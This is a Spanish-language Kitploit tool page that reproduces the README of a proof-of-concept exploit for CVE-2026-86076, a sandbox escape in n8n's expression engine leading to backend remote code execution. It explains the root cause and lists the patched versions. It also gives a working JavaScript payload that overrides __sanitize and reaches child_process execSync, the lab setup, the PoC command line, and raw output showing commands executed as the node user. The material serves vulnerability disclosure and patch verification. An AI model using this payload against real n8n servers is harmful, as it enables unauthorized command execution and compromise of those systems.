Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — escape del sandbox de expresiones de n8n mediante la reasignación de `__sanitize` en campos de clase (RCE en el backend). Verificado en v2.37.6 (uid=node) / v2.37.7. | Kitploit
Herramientas/GitHubGitHub/boreas37/cve-2026-86076-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — escape del sandbox de expresiones de n8n mediante la reasignación de `__sanitize` en campos de clase (RCE en el backend). Verificado en v2.37.6 (uid=node) / v2.37.7.

Ver Repositorio
1112hace 11 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-86076 — escape del sandbox de expresiones de n8n mediante la reasignación del sanitizador por campos de clase

Ejecución de código autenticada (con permiso de edición de flujos de trabajo) en el proceso backend de n8n. El compilador de expresiones inyecta this.__sanitize(key) para cada acceso a miembro computado; un campo de clase literalmente llamado __sanitize reasigna ese sanitizador para el resto del cuerpo de la clase, lo que permite el paso de constructor y termina en el constructor real de Function → process.mainModule.require('child_process').

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Afectados: < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
  • Corregido: 1.123.76 / 2.37.7 / 2.38.2
  • Commit de corrección: 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody rechaza nombres de miembro reservados) y packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data ahora es un enlace léxico en lugar de this).

Causa raíz

PrototypeSanitizer (un hook AST posterior) reescribe

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode es el objeto de datos de la expresión. Cuando la expresión no contiene ningún literal de función, dataNode se emitió como this, no como el ___n8n_data léxico:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

Dentro de un inicializador de campo de clase this es la instancia, por lo que un campo llamado __sanitize toma el control de la llamada al sanitizador. Un sustituto de paso directo es suficiente — [].concat.bind([]) devuelve ['constructor'], y obj[['constructor']] se convierte en la clave constructor:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

Código emitido (verificado en el contenedor con el compilador real):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

Antes del parche, nada rechazaba un miembro de clase llamado __sanitize (RESERVED_VARIABLE_NAMES solo se comprobaba para identificadores vinculados).

Nota sobre el motor (importante)

La carga útil necesita el motor de expresiones en proceso:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

Con el motor vm predeterminado, la misma expresión sigue eludiendo el saneador de AST ([]['constr'+'uctor'] ya no está bloqueado — verificado), pero el código se ejecuta dentro del isolate de isolated-vm, que no tiene process.mainModule; no hay ejecución de código en el host. 2.37.7 rechaza la expresión bajo ambos motores.

Laboratorio

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Ambos archivos fijan N8N_EXPRESSION_ENGINE=legacy, SQLite, montaje bind de ./data-*. El PoC crea la cuenta de propietario por sí mismo (POST /rest/owner/setup + /rest/login).

Ejecución

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

Vulnerable — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

Efecto secundario leído desde el contenedor (side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

Parcheado — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

Canal de evidencia

El stdout del comando es devuelto por execSync(...).toString() como el valor del nodo Set y se lee de vuelta desde GET /rest/executions/<id>?includeData=true (carga útil "flatted" de n8n, decodificada en el script). El efecto secundario en disco (/tmp/PWNED_86076) se confirmó además con docker exec.

Archivos

archivocontenido
n8n_poc.pyPoC solo con biblioteca estándar (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txtejecuciones sin procesar
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonevidencia JSON
side_effect_2.37.6.txt, side_effect_2.37.7.txtcomprobación del lado del contenedor
docker_logs_2.37.6.txt, docker_logs_2.37.7.txtregistros del contenedor
Descargar herramienta